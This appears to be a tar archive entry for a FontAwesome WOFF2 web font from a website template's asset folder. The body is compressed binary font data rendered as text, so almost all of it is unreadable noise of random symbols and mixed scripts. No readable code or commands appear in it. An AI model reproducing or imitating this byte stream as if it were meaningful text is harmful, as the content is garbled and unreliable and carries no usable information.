                                     system/helix3/assets/fonts/fontawesome-webfont.woff2                                                0000705                 00000226550 15242051520 0016661 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       wOF2    -h     -                     ?FFTM ` r
(X6$p  u[R	rGa*'=:&=r*
]tEn1F@|fm`$ؑ@d[BQ$([U<+(@P5`>P;(1lhԨ)YyJi|%ہ^G3nڕ
͐Dp\Yr LPt)6R^"SL~YRCXR	4Fy\[7n|s໌qM%K.ۺ,Lt'M,c+bׇOs^$z.mŠh&gbv'6:smb1بm0"ǂ*Vc$,0ATPT1<;`'H?sΩ:NDI$T[b4,μ｣bl6ILi}ی&4m,'#ץRwbu,Kvm_-\HHH?m9P)9J$ƽ8~;rn=$Nddn!';8'N!-Jʶ.X=,"`:		 {K!' -FH	#$~Z_N5VU8Fȯ%PݫCp$Qrʽkk3ٷ:R%2{ީh%)8 
ILK6v#,;Ц6N2hvOOt#xTBfq^#?{5bI%-WZbA^1n5צNQY'S!t" `b3%35fv;lά9:jgf?grpx | $ eZ($w(ZrSv+ZqMݙm?&s[tSSj9?|>G,bDշ^^:l3NA`526LpS	Aߧ/U
֘'9\Նt!l  PMR9n
`(@ Hy)MdM5ԤH'ґmS<q&k)\{;1m8{X1-3ǚ)B(,%wo~tHW8lZ	r=e1+/Ɏ1W?ְr89PL>uo9 1 tØuc@]KRbNv("y뽻{cscz&p5,jn kN!.n^Uu @|?v>rUaHR Ց IDˋQ~p
܍;;nL$t	:	hFCYTOFNN~}1"`a(?H \u0LԵ'͔PbnmOJl?s0,8xBBF_RiZ~e#jwhOc*&F6Yq{}?>u.4h%g`& )R5H}ˤkܩ'JO I_qOb'Hǟ BYEM6v5NJONFNx(1:\߫Ckcb8Q	d[L(el+2u-a֘d5;N$"HSFo2i"\h7I<SCOȐHEw!.!BSCgĝcs*էs(5m=qʊeY$\>fN8qx#v
6um	`NM-J \FrDZ0#'ꥈnGjLچXʌAgYs*Y^ٵ;"$hb=ϛ0vH<Vvc_ \Yw;dBN3!$I|P ~&d.԰-aa	++9.mR4cy#UFWu	i/𜯔f~4lXS9Ä1E3@k@'#cn S_;%I+.LCxꆱw	VۂExf~H`0!d@Q{Oh1HFëzs7݉ƜtrvkheS3ۇv9q|OK)U\A%o{l<K͎iHGIz=6WWo0|%AjdD)!pw_;cD#ˁMNzp^CDxxj)5O9`EDXx ݒGU˯ęډ.%Έ~=Co)F7$Z(goBƜ@&e{厣lf_RxN[]8`-3s{PjWuc9[>-.D܎Yd+^{Cm,@N<.VMS+\D+R|6'q\T9DX<$p"酦$ҷ,psTbNkI_`
FWV%w~DԐ*xiy[rZ [S%Gs`F<ㅣ V+!+؍9ykfb82s}l;[)e$Tk)v9{uut޳@E>|C<\4%Rv@׺C8\~)#k|.ao00Gq0%hpL"+>%^MˊNsq=䦆K4r-*%h#%;pP馔hC=&)baKL@t!~2S]rYlZ63ўJoOV;h&gO5RT/}{AZ&StͯPC0D,pbpзz) ]I> Q\Bl"^3R>r*C>xPUz}Y=̕}ж
6-`/"H
o&DI0E2Xa-{5<,}``6jiim<UujYZjB\@g3Ejfp:WǮ߳pĳ3ao1da ݫJײ? jq7MffYfs$	Hl(%.rw?m=~ycYbg)<W /Vxk$Br~960&_vM Y%ҝ{E6<%%4ߠO@N"ZOD{u3SWMR3s<س\I0.-2ݭㄭ;	0}N/bN{I|b_re_pSi>'w5RF,ч%SYWh6L_i샣=i13YI7NCpIĔ(r0{jrKТo)l3naT1\IE(m߃Dle$ÅwXU(@Ma"n,*vG̨x>GSg̉"Qvb0*zPEyɉ?7$%GpdY&f!a6|);u7#34mJĳ
oOpȁv8jx(K/ZdxŃm7V_\fL7pXzH7-,(1KHbe,r-pL3=T2t2ټXk:Z5spSsT:.]D"@-Ȇ!A2ɶ-F}˒2BǃQ)tç|#4|\㨀`fc,#g1:-ty ]2Z~ .)ǌ%RK(y`8C֍zK-N`^+n3ϴT3tQأ4<>:J0È%ݑZab`vͬaT/ZaޝГIi	W1_>)H"p|7mF^Z~f0J^ I3V!{<e/=p`q 8^K8O9w0Z|v?n	3f!߷~T  Jӛ5pV	3˫.=-}[gR5nB83.8	Yg#0&S/.fg\
Ef},kg$?XY*1pE(RSQt6,Qj\</]Ns;'HX]E29dkYjR6Q!  V
%"^`N3O[v:ʄ:^ڜr׿@
F_NcB8p\i7g*,C[6T?%z@jApBN5"4T"}0uJ􇏞Ȝ~3{}uWMj9-]'lS /R><+OeB#BcjL\-Zh[I<qv~k]GTD?S/-%ݒ7wi|CIqwcWx /7xHO/o]G]y߃#7b$tR$ ]a7FѮ,n!rI|28x6gSh	R^^D.xMMS?漞'G#~+v4d!FyT9-fVa7hB4,2Ɖ&vTHMqp4?R\Xa<4@MiHD_	EgRyMlTؠJݮyc"HJ, 6u/ڴy VnJn۟H\PRBd|4_$k.wIpS$|}j9m|1ߘn9395qS|xW9BVZ!mK/Ln;iu$*t3Ͷ@} B{Yԑz2Ju@a\MR7odze7/$4]^2kh$=% 1IB؃ H|N.[M\Lb1Mg:NV._0 ,+,ht7l8s~IV^N˼Mؑjك-	oܮůQo[mj=rm>~z4$M}z s h""u7V{Rûݦ O-D9V٥gIʎKLg۶BTP'K̦
qW֒3ep&ےLhpNaSw
&;e(,-7vx-w$WnXUt8Y?KMctY؃p*Շ-БfL|[nL}4{5頠3᧌n$$,+DNԄ-HV>HOs\-;W6 NM8Fi;7k26%֒a],:!ʲڽE,{UnawNg.I9r:j<IE1`$`Lbrǒם]x9=Rv&*Q50zy<`M|ԙdO٥iZ$+#KHF
 	)-	:M$ycE%Ai2]l嶨8IyZGJ\2֙XbLIA-GrR !0L+QhSYS5_(poFT#kN۾l|rndHyۊ&ۆxp[8Gdtz찃٦	8BKP"@2eeyxjJKhXŬB}6â`?i*[9e+bVLaL͙dBYp.ψ
n\4糅Ƥd<wW"? 'O%a2N9,ߟ!.yZ%4U^uφg)M% CVM!z&|D,i~R,%|O"h\3+ai8\$!1La6sz+MRb_
kvjU裒-jXGtb~˚ꖺwt͝SkP2(=cvt"[3&hDN=򈎋PɛAG'_R#M:.3	tJ~3zwx ;7O8Y)
DSE/7i!wy6$8E0Taތ|@g.;m99sHrL7&3Bs|[o&ouSgխ+{AEkZ	"Nd5:IVڊ>FbKΨf)*cG5<C .g]k
 A0-٣vT d4K(Yq`(u{,:0*$|2/I,`ExP#q` /:';ىVD)˴r89w}[Fޜη+hKH\ǚU䬂JV$pUj|c0{LA?V=4SŴt`dodbUPJxgJRrOs	4Mw""42`MD/N!v3չ.f+@xOVqj^CߪKm,8H9Z<&o(@kM5]MU2=vpB6DXj`r<w1Y: o< 9;F$;2֜j޺x,ʁCRĉt$VJff9) a9P&6Ool<ds=#3sP-bD"[:wɺ^jӁQej`Tq=H&okĉLDWO*J3s[6j1@nr<ξۇ#@	0c	?ﵝ<2DӦ	}TsS"R
.}oZFo*ݗ:7H䍚x]a6v5R̾e1$XL
Jaa݆,섐"3-G!˥88
|T:SPpMRYb{+Oeۛ2guV=U>-kb6UЩpZMO`$WDyA߻[4aJ?fD?=d(KD䴱:D/[#$A#KH.:x?%Vr@[B$}coS6`LPfM&ɔA<:vÚ
Q~Pw[+`+j V+R*ul!|+'KY66_ud}_[yuۘj o$Y=yjRi)bԋLaD(XUwIڻZ$7ڻ9&4Z'DF[N]~dD?VQWͲ}vS>Nm+SqHaU!ΒWb_+UO]^l59	@1'A^mo:9ףs- N:tD-zkSja4rczFۻ ޿xv7[ äC8#7p5+ ~*bJJYzֳw+-p/LL[cgnlcaPHF$}9`\
83Ym1b>~ƽJ؂ϏyBs="f(zKM"H`wcEd:b86(9<clݘ/kgG^ESE)5G_^k߇v̚}T3;6 WvTCP_k._eєNJL {T!6j>h0#[㗚Kz,!32:6d>himE\=HZ+{6@Wʯ&lC',rX !8(\̭2-P8h@C4<~Z7j%)eeFpZ'15^6B3nco#~²qR@!ա z^Ks]T@TNT ,S*@7CīɅLiQN,	#:RѪj91-YPN¿ \&yL8ӹ&0cvƉ\JA;Q;]IM8	sMf?԰Irr!K9я8p}Q콍g-*sm~XP0dM^?DdIm<p;y,"ۦ6vpT\^n3m>8eCN}cà٭$s7ۼ#յ<SF-Az≱
B	*{6cgTzGX2+a0; EEaGdΘ ׿[M 
ig:B[	U3J90I2'	o\e%4^5}5 0=J}my&".cւ	V}eJ:42q`GO--BJFY۾3||)IGa+*ttPbADo?Cgt;I]G2RE<^mK3+;[3[1yv
#p<jiCaf~\GC4dubt BKбQm=aTq<^zء(޹G~QۼZoOcr>R{b4vMql)<V{ě晐2P T'D
VtoPaU6`"Qe]ka-^<xj<G.~5۹ۯ]V`8Ϧ%ryv;pc` ٘uҙ9qqEҹB6ǑaeEثOYǑ#:yp/!/5sU'! "|B㡪
t\T#ҝM$+2n_ b^&eicI=u%Eȭ֓
fjaظ֐Eӝ_e(r}mo9UP6zH$g4ٺ6P@@X(1Θ x_	Jy{3',M1n>vOճjְr1f4cs_%v%lKZNi+V3'~NMG@HBb+vVFq@ݱuKZhp@E0uaSXdUK}ԯ8GXKiI% uR)EI-ږ8|1GΞf6Ȁ=!KF6Qf[X~_j\^͋^k`DsG]~㤛yo};+i%N}Q0ԥUu)M[Z`"7?/[C{l)$Mr|^	a:"֊a	l>h ya{2>CPL j?ntg]S{UӇ('b'fg0ӃLPAMtd)2úY!v &`o2P[aޔ5S|#+7J
#ȸ_dU6#VDB"K|)otkl,lU)ݹe5<A\0_7^~{$qRΰfP
a!fXUhXl۽^:(m?@=bhgO͖{-i:'A8?gzHFz0[D#A.%'w=23ɸZ'Hx&I41IJiez͏oٴ{iß8	0[K/n*a5ᰉ,c+ABDrlDo"$ThT9$岣'0V'|"
SAJ!Տߑ6F6R\6\9-_=Q"9IW.\.zmkzF͵Ux<9ɑ$7iFSʧb߂@ۨ}uoϾѪj4=oeUKxdW뻸1nDXy"5倘ʂK-o7B"ě)uWEh9b)P%.$G(@(uRfLT ϪJ6)H*y=Q/uI.<,r#y|l<`Q=F$At阍2d6cWǥ䇣4~%vbaЕ_CծYl̨vqs$m:G\W[C	l}R^2JI6Xl9=`tӑ/Pjes"_Lwm~XNM1xٛ#NmzS%b,Ž~B	`9Vu6U}ֺGunwOfsC\gVΦ@:_`c+}L<[#U*|歺[[姙ԧoɼ\=GRK,![<H?;9:Iͣ+a!*?#'G=Q6,gm&;X故0
;qWq'4ICg΃Y`~`6ix0OGg`[~?NCQ@Ȅ6N΁A}jBa3ť)˴:qI gZ2vlf,УYѮbԩXoIė˜X_'5]J2P92C͉@C6Ee B@A9߇Ǵy] H	- b9O0uwI7Jxū2\Vf=nVV"#9v8x
mpAhy3pQ	%t^ |]YB8jC׬n#&ɇʴv˒P>OyUAt2_n53e*1v(K_HvVʉ3},ACUƍ؂Cuti-]`7]R!zsNt&̉̄k)SL̹y7$ϥDJNd"9
31 IZ(^(lw6/@YB^}OT~9cc]{)}D8${yc,ʤ{tAW3zHImD4ܤUT3dID)I۬.d~[-K^2Zc
8u,Y^\_ԁ_+cJ$\2:ZWbBw=[1'NYVz4;(fzNUf(p֙!x#L=#ŋThnba˳",T\o!@@sN%|
tXj	j	Qo5oeF)o 9˷:h*'cJ孏[{ȄNfnz]8F/|1vg@J:YնNu:dhHo
tM`R̍Ri:|N_P"B@ m`a:M	c2Ũ<ؓUOS\ %a\Apꄯe\A.̰{wǿ~<dXIhRNgkvo{nԜ}H|eiVW?#(K:m`&Lx^F+'؜Z慉ŏ1?^E(ݝDu6TLS6Oamdʙy2|^SK}*2L/Ř) h~\1 D̅$1G/Εo0^_|q,|`ܷ*z|'usvj(qRzL>6	;s2ŋ`W`TyPgee000}/ǔ;h[tGD5^E#hȍ:f?	u3z0ڎ$T^TAhz	x
I{5'rK
zo l֢<NlfM*~UʏW_?v;(AͺR^ 3=66=2n~}cO7XdJ|LPޝ~ͅ8+QD\ҭíS\=UvM䅚c"aK;A=ԨĚkJNpM%AR`و;(5W=Y g-^v4XىJ@=c3}*)ubTF'|N3E 9ڪ)1!Gk86D
~HGp%Fz32MJaZ?cn0)?hNum3H~1rD'1KrtsJJsָU2r^+hNzgl0'\/etXԐvl jcm}!Qϼt#z#]ϕOׇjE:#	6n:<Nui{z1ʞUVl+aNWh)O2ymEl٤A7YQpfB<8;'gKR5nT@	n*!=a5Z~CWP^DX-XfjNűq4OI@S}Xh/>,b89-:G|W)bA5G<*ٕ:ğ!]gj~O&UN뢹8 g]-WW(WNI3Ngr3|mm'=[n힬M,?$HDD-O?5uX]˓37>*wg?*!JyT@UgzI_7&\tH.YZ(4Y'dTFs-qya7[67K&J/$c/x[ᶏ;Īz1Fv]G'ڏQBSOІ$y(TS-;hűzT%Dts"=gwUuD?b$Zr9G<&Ña<v50]f%San*؊oмb8pJ9⠚'-s@r넅TAXI\8m]{Of`#XT^f5''W2Ϸ vsE\Qs(ː@AjR*Za̳SlіR[ܜd*)ɩP¢ĽHto58.]h\sІ؋?Vsh-U'#Egm]2NjWlrmZ#2BE75^^a4wUK'g?ge213Ǹo`lKzP6^ $$9NWvg2HϏCRߜa7F/3\8F\/zP/?{xӼ] /^9@7cޥG<Ho~F!6:j*NblNyCcGd2[d7W4]
54i2*hp*9mYmطkh"ɋŊW!AanJ|VNc|uj+'7('tcnVdUc)I╵8()KΖ9U'պj?Vפ@BOEG,cC"Q[b$9td҆=X dLM͋h~lc.жtq?Y'{'ވAcSVM%kD{ƦX=:*|ͼe"~Ov	;G_RϞ\G$4<ief3PhHb06ĎUsLӨQ|_P30DCH,A1^'M4]%EJ53蕂+ͪBP^$RR
DB+M-	sbRVFeP;7Iom^Mk++_[9KWRvۧ?fq2s}X@yfH/=֯A~ 0̜xra GDvl QZ\\D,hiJ]&(A/"Fbaƚm2l]x$E5xÐ1x{A1>^2_Be;b~փ)Ό2j r8]'7 bChTd)+mD).51- |Yy*oڤL 4A她=
T@|X$in.KI|R@P@P*ak@۟=I	=l[ג"hX0QҜf˒펖c<#9`|cO}$o>eX<`,o_K3p{YAn[9MT(!"?Z]iEmĞ>'{Gt *~y`'A?٘#)o($ȉەLvYO1o_</ǐM(W藑Q'^#0M|3}x7t<a@̻ Hl1>& .mv!*)$zmrt(:GGbeVwi$CO1 cZZ<Gc<z@:J-_`8~چM	)uEsY1B74w0G5zA0|Р[@VܟQq^@Wr-UO$9'IBjf`5"ѦYxZ UO/&83,8k2& '?eEv$L`B%=TftF5対8.<1=>0G 7z@Jy~p)g,gYL.$, -<k{yc*02/q1gKM&R<7xCy[Mʛ#ͺ Dya3\wfwrF<GW>ĸM]\NsWݍd<ӡ W 064tȴvȻ0>ԯ; )f#*	2<h ~'BwmH/wqMogC)̵67#BS>_-[L|RRlQ}\TH)
9Fa"^bA:ݳQ4' =sO	'@.Y&8z
,i73y;U}p/IxVxilFZfhXc.bB*|&|ge/kuv\_HbdpG/A}㬬'xȜՋ;E
!Wj{ZI$z{Op;x=׺q{5l23O=@jj#GYTn>&ެ#CBϩzLuylSaa0LTv3,2
sdTrU}El 1z`Xa*h{qiuU\"Lд@TXRUFg]sE5V0X/ukzB'كJx	Iz7YΕ1tyΚ_}|xm[xJ}zlDVrcsdsqv[&`oUl?<jC!	OeqB=J\`Lr孈d1MhowѹKiģd*;^ҋ$xHUU`]GkCꆂOQSCwog~yG8P{{H.$6!}d4,q>`llUMBRPe2A1RHqlBQ$W%bhBÚV@(?FAQ}<GD2:e@f$"8ȍFf5`{Kuv\X+vj^4=03O(0-IfKRoOi2)؆GǞ
X<ǘelmS\P!!ox$+>dl+bNIMdT"+ƌo0`89\|5 ޣئ(yjqm(<\G	2dTP0$n@
Ē!X㺕Nkճxikiݝͨћ"0?^2XF,{sr_e@VygN_iwq;XED\b1G(RsT<\ډQ2tT	;`[,AkKbDl#b8,]i\|kCxLq~r
Ά>|žBab?aag30(	j"FA*{ߣd]ř+XHzsZSLu:˅)ҲnJEBnS>Ħ	mh,RT~}9,	/.H~!`ExOۖ mwIl꧴ёUzzk**|m*.?~chp?eY]*H|̛1e?V;	ا	2PQVlW6m5O3'^x,ҹa)TeUs10ft9T{!L@OLtǽ!^L!ti ^:CR	K?2TYx۩Fq#0
<hѭ)kesaTlx9d%+b8XZ ;gv8n7ϻa&^ob{w	OO7jϯزΞ,~WYػqÎzVoλg'5("ե
AӃ[:P|Ӓ+>#2?$MndueSJ%e؞~Uq
޳҈zRnп,7˱>`
/uFgOg)PJ\)Xk VF"\tr#wE]s:Y#n8Lm"6D
V ġH`Q ௢үQkG]<2N?U&|a_G܏}di!:`Ⱦ[\,Y]JϹߐì~OA%>]2Pl5pOѐ[ʀ4O@¡,  Ҭ-,4X7-#?3{M·C18aY)M"ka_=4JqM?nh6kɜP 	2;3g4ՍZЦөGZk(mpvriZF}i:/czPuVQ9E&'/v<2ۊYQ)j.HN11sʗ؋{'|klT%1ꪋCgQUJ['Uֶ̝ؔ{81 rnҹ}
: ,й6X7fe'NM2p|4p6Vn듁p&S=[- ߞ~NjIY/c`YAq6-Y30#V~hsEPT;ub6WD#N1o>)ΘCx4$/jl1
y./,Rr[YE*GЕKm/|7SISƗqF㍹6:cVs@w+k1caíw0:Y5Q"
+g"%*2t`Gݴf:hN33^~<PMZ *wҐI0p!"`PSL6
6O{&`(ۅMqaP=PZ_]pvW{mh:Uu,
Aj9^*7#Cf]gr{NY 5$OeGns$\i`D?߾; w5Uxj~̦ܵ֝>yө)o)l*H-;+|+[-ZGXf~<F_̝rf^R߂4/)+1La1PEv~:+L>Meb75[	Ho}pi8;`$7~Yw4RypJs}!*Yf~W]TKV0Fyl$"\AE?W,[b0q.|xZ/ˁ]P*4$*(R7L&`goTܑ.$V̇hULHnei_"o߁ e*mbD2u{ݹш߶\ؿZDܚ
vz1UlRl-wk2VxՑ;؀400=ԑx~޽ګo2RmԔ=_rZ&ן/߸([C{%b[f.<Nc0G2ڼj~HiDPce|:P7i/q-ڏ\b7R>\l$}VچU*B3lRPf	d'<jEx}6fs(İSe~4U)C1is%CrH"3؃)	L[ө)mjUٜ"IR6W3nPHߛ5Q7s\@SwRhƄeq܍G0?޽~ؑZ>GLc[dN
%C9X<Q^ip,U ȑTÉ~U2('w|/B3 J,t
WgLN$ [V|޾vh0XX<jhj0{rLNm[[L3S$Yʈ~߇K!QE(؋P:&{ƼӬ4sœWL3A6Riv-7S:L3e=^Ŧ4˳4OCR~ܐNK0+c$&3Mu<:"Z ,n2NEG%Wթ!`4ى_`}.Kq~JktkSy*)Ik$Qrq3T)A
Rs=[D
j9qvCnoKR2v)1dc}D2k<9?];8BR)xˣ;Hi}{744Ϗ[:gV-}@ ݡ_׀JPzX;)aDJ?\#XrwmAЎ2\=69jRLm.IeGR'v$	P>5h_
cҠW?+ `ރχ#CBW'B~cb 5~}`AE((r{2me5
t>`vd,p*=ϕƼ' o$ݥ;f`̢tɟJ$HZ KԊk+LmR21,qFp̹-J%b=gV^y~׼0~-Pת{ƛB2XZ?oG!xn.}%}Oo	_?bJNv$bl;z`&Kx^]"d+geI2 B#(ijNN>SwFW |b	WoW^\q?1>B L/=iR,cykWZ)BUkjy4XK,3
F 9pKuշq@OAvyG4.,m#D"^ѣ8lQZ1C\4oJܨ힊dD6h[|L]V~.:0z*HX,Ͽ7zUQNe.7$:.0֣Mj9g{2ڬCO墸N٘@.W1Dz[[M%V5r!4&Urs7%y NJ(?nYm"TCMmr.ݴ{bSNT]*}v`1^HvNoUۆAS6WOىe[(B͝to1bϫZH{~N}Vˋٹ o<>#oTFD"%73.(?f]`!1%UqL:蜧ϸ|@8'+VWu۠0} +T/Qnl~c{pa=V:#vm~1t	0SPH]/jg/!{/c jh[=U@ʍqIg6Mmq%Y8dc`"Xt>"{riPO?0=/9FnV}OY[՜"I
{GEz	`)ӇrOoKY꺧S4;L'>cN@8 ʋ{삕zb8_xV(X"]ΔěM6w,fgf+͜)TJUt>-]z}o*mGŶ1S<۵&:QzHjljLF,aY"'LˬɴbJp{6իh]mE=~fFvE`EWinux8!GVY??7K^+[2%_mwsZMZ?vl9fO{,'9/} T}6VzôvU[dT,_uVE+B:xaY.L4rP1"nj[)Xs54 4sS6{(,kW
:Dm3/
T*z'1o'3ow|Ћ=Y<
aDm?F_Y3f^Lff'@&M7F0{GTB/fzqc].L.In^Wk(hc!Ȝ|%?%\6Qn*0''Whĩ= ŝLCgR񛙌9V玫؛AӚTQyč&i٣hQJ,#|d驺z|yYH{FI%ORD&k'	(kͷ_uXT4JotǠ`Xl/-ԩ
TBIjԛ/
Jn0,ħXBUHhFe%6%/:&zLldKT
^Gv͊SA4:DIʯ<!.1?nTzhԓ尵ZBCnI ~+sm8T=f!c(KHSH7!LS.D4$~]ٴaGsiK7"dϸ}|{ܰQ7r-ŷzRaV]v4t2-讨YDیS@%_B(FHke%&5='jF,GoW9;(ڤX3z`fM<~1bR6t0luFIj˯JoIqĴ(cǘU@Ѣ#e&Vy(	{̧KuWKeZ
^>(wDI߹}x
ƺ5gYG22&sσ!q\	CP%UfbS'HLbi,sF67߼D
g̣oGa)jS-&>7yCCΖi] MRA0KfF=zggtf7Kx [L^.[ԭ>Zc736c͗qw*CCV<])E9)ϛ0lSM.$bASHib%zqݓV޷ʀ7+8{
\HAZ #[80*r[-swnxP+HElY./k6wKb?88GI.ur޼l9Eiޜ`"ƃȇ˺&vIբu*J\[^enQ%j	?{nW+1ZC	$3!6/SG @4ΌE!Rd8hg?J~u?ZiD4K{j%)'xMaYvkEt,lc:wXk||2$.Ey=x*-LM_xC{t4.<Pr͙s1/N8uu.ӿS_rj]\av^sQZŜ-D uSg6{${r2 5>,	hcbJ֊?${ouo>ͨvCl(</0x(D'aԧR0"o@>N9ߖQ]} 3( z^)(Үe}E1\pB(yf̷HY/HI ;,q«=d<zlhi f|Afg]y\:e}կFM.M-LCEf麬u\Q(KۄRjRǏ/[uTObD;CطcEETSqh3d-{fXp6h]VHa3< vJ@XMzdRLb3/dz"?Ԁg:D_P7_٠Sc}ߨʕ0$0sMG%^X5Tn;>&T<)3SfV1ړ'vhDn$4n'r}b0DxoVUJgIN}4/|ߥ\$My"j}j ib!NӽSBvC9wp7}5q2ѪҴ UÍ,鼁I};Y͜ȝDJm[Osޥ$FlX~=/_SLJ&^(qwv#	꒎.P:bBfV2qgnٙl8VӅb0aG-OTlO=AfWO׭OJ{̑Ͳg k:I3*zA$̊kP`nFGx)GRPE%5\}3۵RuuW-2G%voMk xBuFN7ׂkV)12dB!4.
N8O,f2TiVudLzyug;Ks'^y+7UUOBж+$%O9elե*c@Fc6ggMU_~1fvV5-V0 )_D{Գb1#Q|k9=?Pocs$&}BoWT"M=Dy$,IN,چ	wIxE6xnCC-,ϕ̲Y:y~ʝ،=Yc,TxeqUk*OTq\E*/ ؒ/NSUf:b?īHt$ٶUfudH"$2kQ/WiXNxr6_y{?2ڽC~{u8|܁Sf+{30`wbcCQ+zƪ\T-{]ξ6Ѯc?8Z~|&eD9qW2R,Y+y<`OwAbz6|]:qZOVgM̥ickJ0=,4,am"RC#,cfZ6RcGŢ:)e		eIr6.Z;P+O)$\wIV(h`z{%fpxl	}onr7%ӧ{xm1oВiq JO'V!"=$
ї4KS+&Zۙ'憥Y^e~},x'"so߮d߽}{.kTJY;ffjKVB+jqMWL"e/׶߻YfxwI:kIq.ǲdLWim] ɗ]f)B{lֻ`j~ކ;ā;~7-zAX'tbWO.$ GS0Ra#QPO|P[%`C)c"ͽdD1xp_s*5ac<vPcq`{D8Shvi W	wpkR|O2/n@6M RիB|\Un^ls=[{A?zJ_R6SA	own~GK+(uhK7,H⺔Q/,Zy(NZy
ɧe+uhC</,s	wy#jI诵{Ҏ,ٿ%`S"[;_~`!>]܎*t]8Ju׷uOաH>hLkq7gR2,ʪZ]|$CZmqX	LrSKb홞%H/w>G9(|vvNnNvXN
Ѐ`p+{(u\ sQpݨ3q\͟$ﵧ;QSřz[jl	6n 8DT}㔨PE	%BWحYw.!/^mdSZ~j=*Qgd⨎0t]q-.PJBp1	ثatl/ypq{~TOH6	uNwY|
AVrwDh4Kk+/@@OJZB1[?l{JՊq9Pvo Y6CJ$H`7Ei)*eK؂Y8{V)bpNv/A%;uh(w̃l}*4y|uV:&*P;LQg*}OW;xT!F[ol*KKUvܼƌ٫NY4$Gd+3$KVZF&FuRj.GNۖ5ƴrevvvȬ2MC[)|eGyb{)ڻ.I{l1CesZthɻRæGp7?(dW^=
&fV͞iϟ\G6$$uP=ou87[%>`<.$MtӗB)GjSQUd`S"3ɽ}MױTth?7]iEHzş|-tdۑ,:Dj7lD 6٧-+}ZU4^xOݼfQHU;"I{)1Z.@2󄖩b+qzVs^>V[ŵ-5v]蚮c""f\߬<ۋcy#Qj6dr#ȑJ4lO(yN}$m[-|Ԉ*S\ќ臉@@
ie'm'q$s'B੻Ad).*	_y#z_Ы_{_a_=+䊒ӌϞ'PܺwGJl.rqZvD(DCG&Cر!=ǣz4v($;{2 @iǘupcE
	hh 	s>L^fڻwTWޟR/_IĦM'B.,P-Hj)%PDp2^^w`K֫KPa>ξ﫥jϨg)KSټdGFYG$X`7%ҀcKQO"BաB'^.`";GleԒO^l:Q>45e=[7$ziF\*B'ǝAkoMFc3|Ӭ%v>!]'!	}:xi/xcR^WICz_`~cVFvf]5OnC?ҷ79']/g}փiUIȃOt̒?k:[>TSiE<7E-N	ؐw;mDu[z+9g_PO$UYN[#jI&3\e4n)Rvcx/VC?Kg{GX"b(6ʛ|	RrI&-Nձ*?2BpEYP[ .r?gOh/%lROEf N=d&u_qb?X°f:J/}?(u6P"L~iV-g1YBg	}HK24鵖r)ۡ#|ti@@JR[kxcE^I2߸dVoqPkZa2H/=(c[lW%icX chPq6cM?}iShRm]6;?'B}gMmǞCj,vԱ>G+zYl?Gܦ*{.m7AT^1D";RUr"bhlqw$/gyRmZp%0Bϝ#4b\q0n	N]M<qN{Ԉh@1?~t6͜Tk̆ҙ҇\M |t 5O<4> J},QrQ*ͯA\')yz'KdخDWdi@gzu'1\}^qI<>e^h)Q*lzBl?gGZ0`~9<!:+xۣ""p[W}"Y|ʒ>/ie+UrWWs6
g*D}zyn+ህwUӋ։fG%!L[#"h2fmh|Fqb}*H#znV˴]xA 1mk
	ׂV|=@=OBzPd5Vrl$ ZՄ88^Ϗqp(:A6J5PY2		èV'Gpe᝭\hjp1awʓSA$|HE#7ч|p*
`D]ZB-\6iWẍGGG׮~YJT7Mq^#0õqb0KVot[Ֆm^k k-dpݟ^Jd3ݕFFTϺۗ9o\S8qk"σxL_:PLh0!iˌ{8:zE Oy/Иl,)GqQR`\J>[ ip&Հ@ $:Q8Bt:@`{>'aޝu99'LcиđHhd͞YGf/	N=Sf0T;WJ& I231 kÉr`}A̶d@\q-9(B,vѣALXqH[!f-t|nPΤR^bGOf =+hWD;Kfx1^U]3@jK8{V. "k5hG¾pC鹒*6iS+пu4495dj+KkNqBM++?{2MNJVu90$#dV/,)Ak0Ƃ^Fߛn<%Jvq $d	@ww?Rs
D1F-_E1}zcƝZh[$& DWx&fe% ~)	~XLt˛҅JK//(F[KY=;ؕb~$Vd]8|bJ):v 3RRQ}˺O	kUP}SVxs Qro3z2F'֯nN?{"]1B+յ;*
eO]-N~2̜u%l(Zb9Mh]Z3')9#>*<c;Ԛ}l>%)V`leY.5*D~-d5JZ!QӦ^fP/fjTXX&(f!Ý^g/j<	/륃S'J֓5V^	ߟ^m{2;0i7$&⩵ӵXEOSx5Ǳيt"hv_CS~A$<@f\;Sa)6C_Ίg0(4i-k<
#5t\CCh>;!` 3- 6htD]SeN}}"#Qn`F:>79$lVe~̈Ja%q~ܣ˴^lCf+/eBa<' \* FC;|cڀNf!L2i~<[p&ѕAknnr틧n&fvnjn-25(!rC~D"`\T'j	P`0iO͚Fkrfuəکj\'3!BIElQ?m12<TR礥|X}vf*?_K|IY{%m`*5D`N9$#czKt؀dk؁7[3zܐ,b<|S<~غ-VEl̤iA@O[.5>pQe>RwتD.ۋXN#'Njjо4!tK_fR!@棼CJ-jaH*Np@wV[;➄sqHlڜA?y	"j!<U?hk1oa޻e8S1Н䋄!9hIB
9Ko_( [f0o!31C;XIh$ɀ禹@@0Wl]&)s64wY3c.Mg^1Oqs#Ms3ZNLMi}9U~x~{$6FɬQEi2WvYFAVlVDXer(ZeͰ3)\t 5\^"rШs
wP5f7NK$f^q{"L]z`@DQh6f~hG5uU7G~
.#3PTV!nژPf6Չ>l6	9@Җ5Ϛ62t@7
L2	 t'ԯbHԼwWfɊ7=.=bx%d?a 9epHҩK\ۏ$C%0ntv:M`᳑Basp&)"-qc	@Ibk3ePF8ZmUL((qP05n'CVijɿX?qg^:ӛ[[PV86 =Iɉ(cG@Lb!ll8߬MvvVbq~/%Ii҂ϡ֣T=!BPS:muvPsϥ;Z|s,G:pHgVuZR>f@ e⋮@F<6Ͳ.L/)X3"LN>^mw'>\C<CKb`(.uְT' oMG{x$
v9
